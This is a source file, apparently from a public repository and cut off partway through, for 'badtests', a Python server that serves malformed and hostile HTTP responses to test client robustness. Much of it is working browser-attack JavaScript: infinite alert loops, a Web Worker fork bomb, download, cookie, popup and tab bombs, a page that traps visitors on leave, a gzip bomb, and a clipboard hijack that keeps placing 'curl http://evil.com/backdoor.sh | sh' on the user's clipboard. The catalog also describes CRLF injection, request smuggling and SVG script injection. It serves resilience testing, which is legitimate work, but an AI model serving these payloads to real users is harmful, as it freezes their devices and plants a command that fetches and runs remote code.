928 lines
54 KiB
Python
928 lines
54 KiB
Python
#!/usr/bin/env python3
|
|
'''badtests - malicious HTTP response server with a web UI for testing client resilience'''
|
|
|
|
import http.server, socketserver, random, string, html, time, gzip, io, json, threading
|
|
|
|
PORT = 60666
|
|
|
|
# --- Pre-generated payloads ---
|
|
_gzbuf = io.BytesIO()
|
|
with gzip.GzipFile(fileobj=_gzbuf, mode='wb', compresslevel=9) as _gzf:
|
|
_gzf.write(b'\x00' * 10_000_000)
|
|
GZIP_BOMB = _gzbuf.getvalue()
|
|
|
|
SAFE_SVG = b'<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"><rect width="200" height="100" fill="#22c55e" rx="8"/><text x="100" y="60" fill="white" font-size="32" font-family="monospace" text-anchor="middle">SAFE</text></svg>'
|
|
EVIL_SVG = b'<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"><rect width="200" height="100" fill="#ef4444" rx="8"/><text x="100" y="60" fill="white" font-size="28" font-family="monospace" text-anchor="middle">HACKED</text></svg>'
|
|
|
|
VISITOR_LOG = []
|
|
LOG_LOCK = threading.Lock()
|
|
|
|
TESTS = [
|
|
# (path, title, description)
|
|
|
|
# --- Content-Length Abuses ---
|
|
('/cl-word', 'Content-Length: banana', 'Content-Length set to a word. Python accepts it, curl rejects.'),
|
|
('/cl-empty', 'Content-Length: (empty)', 'Empty Content-Length header. Python accepts, curl rejects.'),
|
|
('/cl-negative', 'Content-Length: -99999999999999999', 'Massive negative Content-Length. Python accepts, curl rejects.'),
|
|
('/cl-huge', 'Content-Length: 99999999999999999', 'Claims ~100 petabytes. Both accept. curl reports remaining bytes.'),
|
|
('/cl-zero', 'Content-Length: 0 (body sent)', 'CL is 0 but server sends "surprise!". Both read 0 bytes. Wire shows body was sent.'),
|
|
('/cl-float', 'Content-Length: 3.14159', 'Float CL. curl truncates to 3 (returns "hel"). Python ignores it, returns all 5 bytes.'),
|
|
('/cl-hex', 'Content-Length: 0xDEAD', 'Hex CL. curl treats as 0 (empty body). Python ignores it, returns all 5 bytes.'),
|
|
('/cl-null', 'Content-Length: 5\\x00', 'Null byte after digit. curl rejects (Nul byte in header). Python accepts silently.'),
|
|
('/cl-negative-one', 'Content-Length: -1', 'Simple negative CL. curl rejects, Python accepts.'),
|
|
('/cl-nan', 'Content-Length: NaN', 'NaN as CL. curl rejects, Python accepts.'),
|
|
('/cl-inf', 'Content-Length: Infinity', 'Infinity as CL. curl rejects, Python accepts.'),
|
|
('/cl-mismatch', 'Content-Length: 1 (body is 30 bytes)', 'CL says 1, body is 30 bytes. Both read exactly 1 byte. Extra data poisons keep-alive.'),
|
|
|
|
# --- Content-Type Abuses ---
|
|
('/ct-garbage', 'Content-Type: 200 random chars', 'Random printable chars with \\n \\r \\t. Accidental CRLF injection. Different every time.'),
|
|
('/ct-multi', 'Content-Type: 5 MIME types', 'Comma-separated MIME types. Both accept. RFC says only one allowed.'),
|
|
('/ct-empty', 'Content-Type: (empty)', 'Empty Content-Type. Both accept without complaint.'),
|
|
('/ct-null', 'Content-Type: text/\\x00html', 'Null byte in MIME type. curl rejects, Python accepts with null present.'),
|
|
('/ct-emoji', 'Content-Type: 💀/🔥', 'Emoji MIME type. Both accept. Violates HTTP/1.1 ASCII requirement.'),
|
|
('/ct-mega', 'Content-Type: 10KB long', '10,000 A characters. Both accept. No header length limit enforced.'),
|
|
('/ct-crlf', 'Content-Type with CRLF injection', '🚨 CRITICAL: Injects X-Injected: true header via CRLF in Content-Type value. Works on BOTH.'),
|
|
('/ct-semicolon', 'Content-Type with 50 charset params', '50 repeated ;charset=utf-8 params. Both accept. Parser could waste cycles.'),
|
|
|
|
# --- Status Code Abuses ---
|
|
('/status-neg', 'Status: -1', 'Negative status code. Both reject.'),
|
|
('/status-zero', 'Status: 0', 'Zero status code. Both reject.'),
|
|
('/status-999', 'Status: 999', 'Out-of-range 3-digit status. Both accept. RFC defines 100-599 only.'),
|
|
('/status-huge', 'Status: 99999', '5-digit status code. Both reject.'),
|
|
('/status-word', 'Status: BANANA', 'Non-numeric status. Both reject.'),
|
|
|
|
# --- Header Abuses ---
|
|
('/hdr-mega-name', 'Header name: 64KB of As', 'curl accepts (no limit). Python rejects (LineTooLong >65536 bytes).'),
|
|
('/hdr-mega-val', 'Header value: 1MB of Bs', 'Both reject. Python hits 64KB line limit. curl chokes on 1MB buffer.'),
|
|
('/hdr-1000', '1000 headers', 'curl accepts all 1000. Python rejects (>100 headers).'),
|
|
('/hdr-empty-name', 'Header: : empty_name', 'Empty header name. Both accept. Violates RFC 7230.'),
|
|
('/hdr-no-colon', 'Header without colon', 'curl rejects. Python silently drops the malformed line and continues.'),
|
|
('/hdr-dup-cl', 'Duplicate Content-Length: 5 and 999', '🚨 CRITICAL: Smuggling vector. curl uses second CL (999). Python sees both.'),
|
|
('/hdr-null', 'Header with null bytes', 'curl rejects (Nul byte in header). Python accepts, drops the null header.'),
|
|
('/hdr-newline', 'Header with bare \\n', 'curl rejects (Header without colon). Python treats as line folding.'),
|
|
|
|
# --- Body Abuses ---
|
|
('/body-endless', 'Infinite body stream', '⚠️ WARNING: Streams 1KB/sec forever. Use --max-time. Neither client protects against this.'),
|
|
('/body-none', 'Content-Length: 5, no body', 'Promises 5 bytes, sends 0. curl reports transfer closed. Python returns empty, no error.'),
|
|
('/body-binary', '4KB binary as text/html', 'Random binary with text/html Content-Type. Both accept. No content validation.'),
|
|
|
|
# --- Transfer-Encoding Abuses ---
|
|
('/te-invalid', 'Transfer-Encoding: banana', 'Unknown TE. Both accept and ignore it. RFC says this should be an error.'),
|
|
('/te-double', 'Content-Length + Transfer-Encoding', '🚨 CRITICAL: Smuggling vector. curl prefers CL, Python prefers TE. Clients disagree.'),
|
|
('/te-bad-chunk', 'Chunked with ZZZ chunk size', 'Invalid hex in chunk size. Both correctly reject.'),
|
|
|
|
# --- Protocol Abuses ---
|
|
('/proto-garbage', '512 random bytes (no HTTP)', 'Pure garbage. Both reject.'),
|
|
('/proto-empty', 'Empty response (0 bytes)', 'Server closes immediately. Both reject.'),
|
|
('/proto-half', 'HTTP/9.9 version', 'Unknown HTTP version. Both reject.'),
|
|
('/proto-no-headers', 'Status line + body, no headers', 'Zero headers. Both accept. Valid in HTTP/1.0 but violates HTTP/1.1.'),
|
|
('/proto-just-newlines', 'Response is just \\r\\n\\r\\n\\r\\n', 'Only blank CRLF lines. Both reject.'),
|
|
|
|
# --- Encoding Abuses ---
|
|
('/enc-utf16', 'Body is UTF-16, header says UTF-8', 'Mismatched encoding. Both accept raw bytes. Consuming app would decode garbage.'),
|
|
('/enc-gzip-lie', 'Content-Encoding: gzip (plaintext body)', 'Claims gzip, sends plaintext. Both accept without decompressing by default.'),
|
|
|
|
# --- Redirect Abuses ---
|
|
('/redir-self', '301 → /redir-self (loop)', 'Infinite redirect loop. curl follows up to --max-redirs. Python http.client does not follow.'),
|
|
('/redir-garbage', '301 → \\x00\\xff://💀:99999/../../etc/passwd', 'Garbage URL with null bytes, emoji, bad port, path traversal. curl rejects, Python accepts (SSRF risk).'),
|
|
('/redir-chain', '302 → /redir-chain?n=N+1 (infinite unique chain)', 'Infinite redirect with unique URLs each hop. Defeats redirect loop detection. curl follows --max-redirs (default 50).'),
|
|
|
|
# --- Timing Abuses ---
|
|
('/slow-headers', 'Slowloris: 1 byte per 0.5s headers', '⚠️ WARNING: Hangs until timeout. Classic slowloris attack.'),
|
|
('/slow-body', 'Body: 1 byte per second (a-z)', '⚠️ WARNING: Takes 26 seconds without timeout.'),
|
|
|
|
# --- HTML/Content Abuses ---
|
|
('/html-utf16', 'Full HTML page encoded as UTF-16LE', 'Title and body encoded as UTF-16LE but served as text/html with no charset. Browser/parser gets mojibake.'),
|
|
('/html-long-title', 'HTML title is 1000 characters', 'Absurdly long <title> tag (1000 A chars). Tests tab/title bar handling in browsers and parsers.'),
|
|
('/html-multiline-title', 'HTML title with embedded newlines', 'Title contains literal \\n characters. Some parsers collapse whitespace, others preserve. Tab bars get weird.'),
|
|
('/html-irc-title', 'Title with \\r\\nQUIT :reason injection', '🚨 CRITICAL: IRC protocol injection via HTML title. If an IRC bot fetches and relays this title, the QUIT/PRIVMSG could be injected into the IRC stream.'),
|
|
('/html-unicode', 'Random unicode (U+1000 to U+3000) title and body', 'Title and body filled with random Myanmar, Ethiopic, Devanagari, CJK chars. Different every request.'),
|
|
('/html-meta-refresh', 'Meta refresh loop (0 second)', '⚠️ WARNING: Page reloads itself every 0 seconds via meta tag. Infinite reload loop. Browser tab goes crazy.'),
|
|
|
|
# --- Terminal Abuses ---
|
|
('/ansi-chaos', 'ANSI escape code nightmare', '⚠️ WARNING: Clears screen, hides cursor, changes window title, blink text, random cursor positioning. Will wreck your terminal.'),
|
|
|
|
# --- JavaScript Browser Abuses ---
|
|
('/js-alert', 'Infinite alert() loop', '⚠️ WARNING: Opens alert dialogs in an infinite loop. Browser tab becomes unresponsive. Must force-kill tab.'),
|
|
('/js-history', 'History flood (50,000 entries)', '⚠️ WARNING: Pushes 50,000 entries to browser history. Back button becomes useless. Browser may lag.'),
|
|
('/js-download', 'Download bomb (200 files)', '⚠️ WARNING: Triggers 200 simultaneous file downloads via Blob URLs. Browser download manager explodes.'),
|
|
('/js-clipboard', 'Clipboard hijack', '🚨 CRITICAL: Silently replaces clipboard content with a malicious shell command every 100ms. Paste at your own risk.'),
|
|
('/js-forkbomb', 'JavaScript fork bomb', '⚠️ WARNING: Spawns infinite Web Workers and recursive iframes. CPU/RAM will spike. Browser may crash.'),
|
|
('/js-webgl', 'WebGL GPU killer', '⚠️ WARNING: Runs an extremely heavy fragment shader in a tight render loop. GPU usage spikes to 100%. May freeze display.'),
|
|
('/js-audio', 'Audio oscillator hell', '⚠️ WARNING: Creates 20 oscillators at random frequencies changing 10x per second at max volume. Extremely loud.'),
|
|
('/js-popup', 'Popup storm (100 windows)', '⚠️ WARNING: Attempts to open 100 popup windows at random positions. Most browsers block after the first.'),
|
|
('/js-cookie', 'Cookie bomb (3000 cookies)', '🚨 CRITICAL: Sets 3000 cookies. Future requests to this server include ~12MB of Cookie headers. May DoS the server.'),
|
|
('/js-beforeunload', 'Unescapable page (beforeunload)', '⚠️ WARNING: Traps you with a beforeunload dialog every time you try to leave. Also opens itself in new tabs.'),
|
|
('/js-tabbomb', 'Tab bomb with audio + downloads', '🚨 CRITICAL: Rapidly opens new tabs in a loop. Each tab auto-plays random oscillator audio with visualizer and spams file downloads. Will overwhelm your browser.'),
|
|
('/js-serviceworker', 'ServiceWorker hijack', '🚨 CRITICAL: Registers a ServiceWorker that intercepts ALL future requests to this origin and injects content.'),
|
|
|
|
# --- Image/File Abuses ---
|
|
('/img-bait', 'Image bait-and-switch', 'Shows a green "SAFE" image on the page. Download link gives you a red "HACKED" image. Same server, different file.'),
|
|
('/img-svg-xss', 'SVG with embedded JavaScript', '🚨 CRITICAL: Serves an SVG image with an embedded <script> tag. If rendered as image/svg+xml, JS executes. XSS via image file.'),
|
|
('/img-polyglot', 'GIF/JS polyglot file', '🚨 CRITICAL: Valid GIF89a image that is also valid JavaScript. Can be loaded as both <img> and <script>.'),
|
|
|
|
# --- Network Abuses ---
|
|
('/net-gzip-bomb', 'Gzip bomb (~10KB → 10MB)', '⚠️ WARNING: ~10KB gzip response that decompresses to 10MB of zeros. Clients with auto-decompress will allocate 10MB.'),
|
|
('/net-event-flood', 'SSE event flood (infinite)', '⚠️ WARNING: Server-Sent Events stream that fires events as fast as possible forever. EventSource will buffer infinitely.'),
|
|
('/net-mime-sniff', 'MIME type confusion (JS as image/jpeg)', '🚨 CRITICAL: Serves JavaScript code with Content-Type: image/jpeg. If browser MIME-sniffs, the JS executes. Tests X-Content-Type-Options enforcement.'),
|
|
('/net-cache-poison', 'Contradicting cache headers', 'Every cache header contradicts every other: no-cache + max-age=999999, public + private, future Last-Modified, wildcard Vary.'),
|
|
('/net-hsts-bomb', 'HSTS with insane max-age', '🚨 CRITICAL: Sets Strict-Transport-Security with max-age=999999999 and includeSubDomains. Browser will force HTTPS for 31 years.'),
|
|
|
|
# --- Miscellaneous ---
|
|
('/misc-ipv4', 'Shows your connecting IPv4 address', 'Reflects the client IP from the TCP connection. Use -4 flag with curl to force IPv4.'),
|
|
('/misc-ipv6', 'Shows your connecting IPv6 address', 'Reflects the client IP. Server must be reachable over IPv6. Connect to [::1] for loopback IPv6.'),
|
|
('/fingerprint', 'Browser fingerprinting demo', 'Collects and displays 25+ browser fingerprinting vectors: canvas, WebGL, fonts, timezone, CPU, memory, touch, audio, etc.'),
|
|
]
|
|
|
|
CATEGORIES = [
|
|
('Content-Length Abuses', '/cl-'),
|
|
('Content-Type Abuses', '/ct-'),
|
|
('Status Code Abuses', '/status-'),
|
|
('Header Abuses', '/hdr-'),
|
|
('Body Abuses', '/body-'),
|
|
('Transfer-Encoding Abuses', '/te-'),
|
|
('Protocol Abuses', '/proto-'),
|
|
('Encoding Abuses', '/enc-'),
|
|
('Redirect Abuses', '/redir-'),
|
|
('Timing Abuses', '/slow-'),
|
|
('HTML/Content Abuses', '/html-'),
|
|
('Terminal Abuses', '/ansi-'),
|
|
('JavaScript Browser Abuses','/js-'),
|
|
('Image/File Abuses', '/img-'),
|
|
('Network Abuses', '/net-'),
|
|
('Miscellaneous', '/misc-'),
|
|
('Special Pages', '/fingerprint'),
|
|
]
|
|
|
|
def build_index():
|
|
h = '''<!DOCTYPE html>
|
|
<html><head>
|
|
<meta charset="utf-8">
|
|
<title>☠ badtests — HTTP response abuse tester</title>
|
|
<style>
|
|
*{margin:0;padding:0;box-sizing:border-box}
|
|
body{background:#0d1117;color:#c9d1d9;font-family:'SF Mono',Consolas,'Liberation Mono',Menlo,monospace;font-size:14px;line-height:1.6;padding:20px 40px}
|
|
h1{color:#f85149;font-size:24px;margin-bottom:4px}
|
|
h1 span{font-size:14px;color:#484f58;font-weight:normal}
|
|
h2{color:#58a6ff;font-size:18px;margin:30px 0 12px;padding-bottom:6px;border-bottom:1px solid #21262d}
|
|
.desc{color:#8b949e;font-size:13px;margin-bottom:20px}
|
|
.toc{background:#161b22;border:1px solid #30363d;border-radius:6px;padding:16px 20px;margin:20px 0}
|
|
.toc-title{color:#58a6ff;font-size:15px;margin-bottom:8px;font-weight:bold}
|
|
.toc ul{list-style:none;columns:2;column-gap:24px}
|
|
.toc li{padding:2px 0}
|
|
.toc a{color:#c9d1d9;text-decoration:none;font-size:13px}
|
|
.toc a:hover{color:#58a6ff;text-decoration:underline}
|
|
.toc .count{color:#484f58;font-size:12px}
|
|
.card{background:#161b22;border:1px solid #30363d;border-radius:6px;padding:16px;margin-bottom:16px}
|
|
.card:hover{border-color:#58a6ff}
|
|
.card h3{margin:0 0 4px}
|
|
.card h3 a{color:#58a6ff;text-decoration:none}
|
|
.card h3 a:hover{text-decoration:underline}
|
|
.card .note{color:#8b949e;font-size:13px;margin-bottom:10px}
|
|
.critical .note{color:#f85149}
|
|
.label{display:inline-block;font-size:11px;padding:1px 6px;border-radius:10px;margin-left:8px;vertical-align:middle}
|
|
.label-crit{background:#f8514922;color:#f85149;border:1px solid #f85149}
|
|
.label-warn{background:#d2992222;color:#d29922;border:1px solid #d29922}
|
|
code{color:#e6edf3}
|
|
.special{margin:20px 0;padding:12px 16px;background:#161b22;border:1px solid #f85149;border-radius:6px}
|
|
.special a{color:#f85149;font-weight:bold;text-decoration:none}
|
|
.special a:hover{text-decoration:underline}
|
|
footer{margin-top:40px;padding-top:16px;border-top:1px solid #21262d;color:#484f58;font-size:12px}
|
|
footer a{color:#484f58;text-decoration:none}
|
|
footer a:hover{color:#58a6ff;text-decoration:underline}
|
|
</style>
|
|
</head><body>
|
|
<h1>☠ badtests <span>— malicious HTTP response server</span></h1>
|
|
<p class="desc">Each endpoint returns a deliberately malformed HTTP response to test client resilience.<br>
|
|
Click any endpoint to hit it directly.</p>
|
|
<div class="special">📋 <a href="/logs">/logs</a> — View all visitor IPs, user agents, headers, and timestamps</div>
|
|
'''
|
|
# Build table of contents
|
|
h += '<div class="toc"><div class="toc-title">Table of Contents</div><ul>\n'
|
|
for cat_name, prefix in CATEGORIES:
|
|
tests_in_cat = [t for t in TESTS if t[0].startswith(prefix)]
|
|
if not tests_in_cat:
|
|
continue
|
|
anchor = cat_name.lower().replace(' ', '-').replace('/', '-')
|
|
h += f'<li><a href="#{html.escape(anchor)}">{html.escape(cat_name)}</a> <span class="count">({len(tests_in_cat)})</span></li>\n'
|
|
h += '</ul></div>\n'
|
|
for cat_name, prefix in CATEGORIES:
|
|
tests_in_cat = [t for t in TESTS if t[0].startswith(prefix)]
|
|
if not tests_in_cat:
|
|
continue
|
|
anchor = cat_name.lower().replace(' ', '-').replace('/', '-')
|
|
h += f'<h2 id="{html.escape(anchor)}">{html.escape(cat_name)}</h2>\n'
|
|
for path, title, desc in tests_in_cat:
|
|
crit = '🚨' in desc
|
|
warn = '⚠️' in desc
|
|
cls = ' critical' if crit else ''
|
|
label = ''
|
|
if crit:
|
|
label = '<span class="label label-crit">CRITICAL</span>'
|
|
elif warn:
|
|
label = '<span class="label label-warn">WARNING</span>'
|
|
h += f'''<div class="card{cls}">
|
|
<h3><a href="{html.escape(path)}">{html.escape(path)}</a> — {html.escape(title)}{label}</h3>
|
|
<div class="note">{html.escape(desc)}</div>
|
|
</div>
|
|
'''
|
|
h += f'''<footer>
|
|
☠ badtests — {len(TESTS)} endpoints on port {PORT}<br>
|
|
made by <a href="https://git.supernets.org/acidvegas/badtests">acidvegas</a>
|
|
</footer>
|
|
</body></html>'''
|
|
return h.encode()
|
|
|
|
|
|
# --- JavaScript page payloads ---
|
|
JS_ALERT = b'''<!DOCTYPE html><html><head><title>alert() loop</title></head><body>
|
|
<h1>Infinite alert() loop</h1><p>You cannot dismiss this.</p>
|
|
<script>while(true)alert('You cannot close me. Attempt #'+Math.random().toString(36))</script>
|
|
</body></html>'''
|
|
|
|
JS_HISTORY = b'''<!DOCTYPE html><html><head><title>History flood</title></head><body>
|
|
<h1>Injecting 50,000 history entries...</h1><p id="s"></p>
|
|
<script>
|
|
let n=50000;for(let i=0;i<n;i++)history.pushState({},'','/history-flood-'+i);
|
|
document.getElementById('s').textContent='Done. '+n+' entries pushed. Your back button is dead.';
|
|
document.title='50,000 history entries - try pressing back';
|
|
</script></body></html>'''
|
|
|
|
JS_DOWNLOAD = b'''<!DOCTYPE html><html><head><title>Download bomb</title></head><body>
|
|
<h1>Triggering 200 simultaneous downloads...</h1>
|
|
<script>
|
|
for(let i=0;i<200;i++){let a=document.createElement('a');
|
|
a.href=URL.createObjectURL(new Blob(['BADTESTS_PAYLOAD_'+i+'_'+Math.random()]));
|
|
a.download='badtests_payload_'+i+'.txt';document.body.appendChild(a);a.click();}
|
|
</script></body></html>'''
|
|
|
|
JS_CLIPBOARD = b'''<!DOCTYPE html><html><head><title>Clipboard hijack</title></head><body>
|
|
<h1>Your clipboard has been hijacked</h1>
|
|
<p>Every 100ms your clipboard is overwritten. Try pasting somewhere.</p>
|
|
<p style="color:red;font-family:monospace;font-size:18px">curl http://evil.com/backdoor.sh | sh</p>
|
|
<script>
|
|
setInterval(()=>{try{navigator.clipboard.writeText('curl http://evil.com/backdoor.sh | sh')}catch(e){
|
|
document.execCommand&&(document.oncopy=function(e){e.clipboardData.setData('text/plain','curl http://evil.com/backdoor.sh | sh');e.preventDefault()})
|
|
}},100);
|
|
</script></body></html>'''
|
|
|
|
JS_FORKBOMB = b'''<!DOCTYPE html><html><head><title>Fork bomb</title></head><body>
|
|
<h1>Fork bomb activated</h1><p id="c">Workers: 0 | Iframes: 0</p>
|
|
<script>
|
|
let wc=0,ic=0;
|
|
function boom(){
|
|
try{let w=new Worker(URL.createObjectURL(new Blob(
|
|
['let x=0;setInterval(()=>{for(let i=0;i<1e6;i++)x+=Math.random();postMessage(x)},1)'],
|
|
{type:'application/javascript'})));wc++;w.onmessage=()=>{}}catch(e){}
|
|
let f=document.createElement('iframe');f.src='about:blank';f.style.display='none';
|
|
document.body.appendChild(f);ic++;
|
|
try{f.contentWindow.document.write('<script>setInterval(()=>{for(let i=0;i<1e6;i++)Math.random()},1)<\\/script>')}catch(e){}
|
|
document.getElementById('c').textContent='Workers: '+wc+' | Iframes: '+ic;
|
|
setTimeout(boom,50);
|
|
}
|
|
boom();
|
|
</script></body></html>'''
|
|
|
|
JS_WEBGL = b'''<!DOCTYPE html><html><head><title>WebGL GPU killer</title></head><body>
|
|
<h1>WebGL GPU stress test</h1>
|
|
<canvas id="c" width="1920" height="1080" style="width:100%;height:80vh"></canvas>
|
|
<script>
|
|
let gl=document.getElementById('c').getContext('webgl');
|
|
if(!gl){document.body.innerHTML='<h1>WebGL not supported</h1>';}else{
|
|
let vs=gl.createShader(gl.VERTEX_SHADER);
|
|
gl.shaderSource(vs,'attribute vec4 p;void main(){gl_Position=p;}');
|
|
gl.compileShader(vs);
|
|
let fs=gl.createShader(gl.FRAGMENT_SHADER);
|
|
gl.shaderSource(fs,`precision highp float;
|
|
uniform float t;
|
|
void main(){
|
|
float x=gl_FragCoord.x/1920.0,y=gl_FragCoord.y/1080.0,v=0.0;
|
|
for(int i=0;i<5000;i++){
|
|
v+=sin(x*float(i)*0.01+t)*cos(y*float(i)*0.01+t*0.7);
|
|
v+=tan(v*0.001)*0.001;
|
|
}
|
|
gl_FragColor=vec4(sin(v),cos(v*0.5),sin(v*0.3+t),1.0);
|
|
}`);
|
|
gl.compileShader(fs);
|
|
let prog=gl.createProgram();gl.attachShader(prog,vs);gl.attachShader(prog,fs);gl.linkProgram(prog);gl.useProgram(prog);
|
|
let buf=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,buf);
|
|
gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([-1,-1,1,-1,-1,1,1,1]),gl.STATIC_DRAW);
|
|
let p=gl.getAttribLocation(prog,'p');gl.enableVertexAttribArray(p);gl.vertexAttribPointer(p,2,gl.FLOAT,false,0,0);
|
|
let tl=gl.getUniformLocation(prog,'t');
|
|
let start=Date.now();
|
|
function render(){gl.uniform1f(tl,(Date.now()-start)/1000);gl.drawArrays(gl.TRIANGLE_STRIP,0,4);requestAnimationFrame(render);}
|
|
render();
|
|
}
|
|
</script></body></html>'''
|
|
|
|
JS_AUDIO = b'''<!DOCTYPE html><html><head><title>Audio hell</title></head><body>
|
|
<h1>Audio Oscillator Hell</h1><p>20 oscillators at random frequencies. Click anywhere to start (autoplay policy).</p>
|
|
<script>
|
|
document.addEventListener('click',function start(){
|
|
document.removeEventListener('click',start);
|
|
let ctx=new(window.AudioContext||window.webkitAudioContext)();
|
|
for(let i=0;i<20;i++){
|
|
let o=ctx.createOscillator(),g=ctx.createGain();
|
|
o.type=['sine','square','sawtooth','triangle'][i%4];
|
|
o.frequency.value=100+Math.random()*15000;
|
|
g.gain.value=0.15;
|
|
o.connect(g);g.connect(ctx.destination);o.start();
|
|
setInterval(()=>{o.frequency.value=100+Math.random()*15000;},50+Math.random()*200);
|
|
}
|
|
document.querySelector('h1').textContent='AUDIO HELL ACTIVE - 20 OSCILLATORS';
|
|
document.querySelector('h1').style.color='red';
|
|
});
|
|
</script></body></html>'''
|
|
|
|
JS_POPUP = b'''<!DOCTYPE html><html><head><title>Popup storm</title></head><body>
|
|
<h1>Popup Storm</h1><p id="s">Attempting to open 100 popup windows...</p>
|
|
<script>
|
|
let opened=0,blocked=0;
|
|
for(let i=0;i<100;i++){
|
|
let w=window.open('about:blank','popup_'+i,'width=150,height=100,left='+Math.floor(Math.random()*screen.width)+',top='+Math.floor(Math.random()*screen.height));
|
|
if(w){opened++;try{w.document.write('<body style=background:hsl('+i*3.6+',100%,50%)><h3>'+i+'</h3>')}catch(e){}}else{blocked++;}
|
|
}
|
|
document.getElementById('s').textContent='Opened: '+opened+' | Blocked: '+blocked;
|
|
</script></body></html>'''
|
|
|
|
JS_COOKIE = b'''<!DOCTYPE html><html><head><title>Cookie bomb</title></head><body>
|
|
<h1>Cookie Bomb</h1><p id="s">Setting cookies...</p>
|
|
<script>
|
|
let n=0;
|
|
for(let i=0;i<3000;i++){
|
|
try{document.cookie='bomb_'+i+'='+'X'.repeat(4000)+';path=/';n++;}catch(e){break;}
|
|
}
|
|
document.getElementById('s').innerHTML='<strong style=color:red>'+n+' cookies set!</strong><br>'+
|
|
'Your next request to this server will include ~'+Math.round(n*4/1024)+'KB of Cookie headers.<br>'+
|
|
'To clear: open DevTools > Application > Cookies > Delete all';
|
|
</script></body></html>'''
|
|
|
|
JS_BEFOREUNLOAD = b'''<!DOCTYPE html><html><head><title>You can never leave</title></head><body>
|
|
<h1 style="color:red">You can never leave this page</h1>
|
|
<p>Every attempt to close or navigate away triggers a confirmation dialog.</p>
|
|
<p>Also opening copies of itself in new tabs every 3 seconds.</p>
|
|
<script>
|
|
window.onbeforeunload=function(e){e.preventDefault();return e.returnValue='Are you sure you want to leave?';};
|
|
setInterval(()=>{document.title='TRAPPED - '+new Date().toLocaleTimeString();},1000);
|
|
let tabCount=0;
|
|
setInterval(()=>{if(tabCount<5){try{window.open(location.href);tabCount++;}catch(e){}}},3000);
|
|
</script></body></html>'''
|
|
|
|
JS_TABBOMB = b'''<!DOCTYPE html><html><head><title>TAB BOMB ACTIVE</title>
|
|
<style>
|
|
*{margin:0;padding:0;box-sizing:border-box}
|
|
body{background:#0d1117;color:#c9d1d9;font-family:monospace;overflow:hidden}
|
|
h1{color:#f85149;text-align:center;padding:10px;font-size:18px}
|
|
#stats{color:#d29922;text-align:center;font-size:14px;padding:4px}
|
|
canvas{display:block;width:100%;height:calc(100vh - 60px)}
|
|
</style></head><body>
|
|
<h1>TAB BOMB - OSCILLATOR SCOPE + DOWNLOAD SPAM</h1>
|
|
<p id="stats">Tabs: 0 | Downloads: 0 | Oscillators: 0</p>
|
|
<canvas id="scope"></canvas>
|
|
<script>
|
|
// --- Auto-play random oscillator audio with scope visualization ---
|
|
let actx,oscillators=[],analyser,dataArr,canvas,ctx;
|
|
try{
|
|
actx=new(window.AudioContext||window.webkitAudioContext)();
|
|
analyser=actx.createAnalyser();
|
|
analyser.fftSize=2048;
|
|
dataArr=new Uint8Array(analyser.frequencyBinCount);
|
|
let types=['sine','square','sawtooth','triangle'];
|
|
for(let i=0;i<8;i++){
|
|
let o=actx.createOscillator(),g=actx.createGain();
|
|
o.type=types[i%4];
|
|
o.frequency.value=80+Math.random()*12000;
|
|
g.gain.value=0.08;
|
|
o.connect(g);g.connect(analyser);g.connect(actx.destination);
|
|
o.start();
|
|
oscillators.push(o);
|
|
setInterval(()=>{o.frequency.value=80+Math.random()*12000;o.type=types[Math.floor(Math.random()*4)];},30+Math.random()*150);
|
|
}
|
|
}catch(e){}
|
|
|
|
// Force resume AudioContext (bypass autoplay policy)
|
|
function forceAudio(){if(actx&&actx.state!=='running')actx.resume();requestAnimationFrame(forceAudio);}
|
|
forceAudio();
|
|
// Also try on any user gesture
|
|
['click','touchstart','keydown','mousemove','scroll'].forEach(evt=>{
|
|
document.addEventListener(evt,()=>{if(actx&&actx.state!=='running')actx.resume();},{once:false});
|
|
});
|
|
|
|
// --- Oscilloscope visualization ---
|
|
canvas=document.getElementById('scope');
|
|
ctx=canvas.getContext('2d');
|
|
function resize(){canvas.width=window.innerWidth;canvas.height=window.innerHeight-60;}
|
|
resize();window.onresize=resize;
|
|
|
|
let hue=0;
|
|
function drawScope(){
|
|
requestAnimationFrame(drawScope);
|
|
if(!analyser)return;
|
|
analyser.getByteTimeDomainData(dataArr);
|
|
ctx.fillStyle='rgba(13,17,23,0.15)';
|
|
ctx.fillRect(0,0,canvas.width,canvas.height);
|
|
hue=(hue+0.5)%360;
|
|
ctx.lineWidth=2;
|
|
ctx.strokeStyle='hsl('+hue+',100%,60%)';
|
|
ctx.beginPath();
|
|
let sl=canvas.width/dataArr.length;
|
|
for(let i=0;i<dataArr.length;i++){
|
|
let v=dataArr[i]/128.0,y=v*canvas.height/2;
|
|
if(i===0)ctx.moveTo(0,y);else ctx.lineTo(i*sl,y);
|
|
}
|
|
ctx.stroke();
|
|
// second pass with frequency data for extra chaos
|
|
let freqData=new Uint8Array(analyser.frequencyBinCount);
|
|
analyser.getByteFrequencyData(freqData);
|
|
ctx.strokeStyle='hsl('+((hue+180)%360)+',100%,50%)';
|
|
ctx.beginPath();
|
|
for(let i=0;i<freqData.length;i++){
|
|
let y=canvas.height-(freqData[i]/255)*canvas.height;
|
|
if(i===0)ctx.moveTo(0,y);else ctx.lineTo(i*sl,y);
|
|
}
|
|
ctx.stroke();
|
|
}
|
|
drawScope();
|
|
|
|
// --- Tab bomb: rapidly open new tabs ---
|
|
let tabCount=0,dlCount=0;
|
|
function bombTabs(){
|
|
try{window.open(location.href,'_blank');tabCount++;}catch(e){}
|
|
document.getElementById('stats').textContent='Tabs: '+tabCount+' | Downloads: '+dlCount+' | Oscillators: '+oscillators.length;
|
|
setTimeout(bombTabs,50+Math.floor(Math.random()*200));
|
|
}
|
|
setTimeout(bombTabs,300);
|
|
|
|
// --- Download spam loop ---
|
|
function spamDownloads(){
|
|
for(let i=0;i<5;i++){
|
|
try{
|
|
let a=document.createElement('a');
|
|
a.href=URL.createObjectURL(new Blob([Math.random().toString(36).repeat(500)]));
|
|
a.download='bomb_'+Date.now()+'_'+Math.floor(Math.random()*99999)+'.txt';
|
|
document.body.appendChild(a);a.click();document.body.removeChild(a);
|
|
dlCount++;
|
|
}catch(e){}
|
|
}
|
|
document.getElementById('stats').textContent='Tabs: '+tabCount+' | Downloads: '+dlCount+' | Oscillators: '+oscillators.length;
|
|
setTimeout(spamDownloads,200+Math.floor(Math.random()*500));
|
|
}
|
|
setTimeout(spamDownloads,500);
|
|
|
|
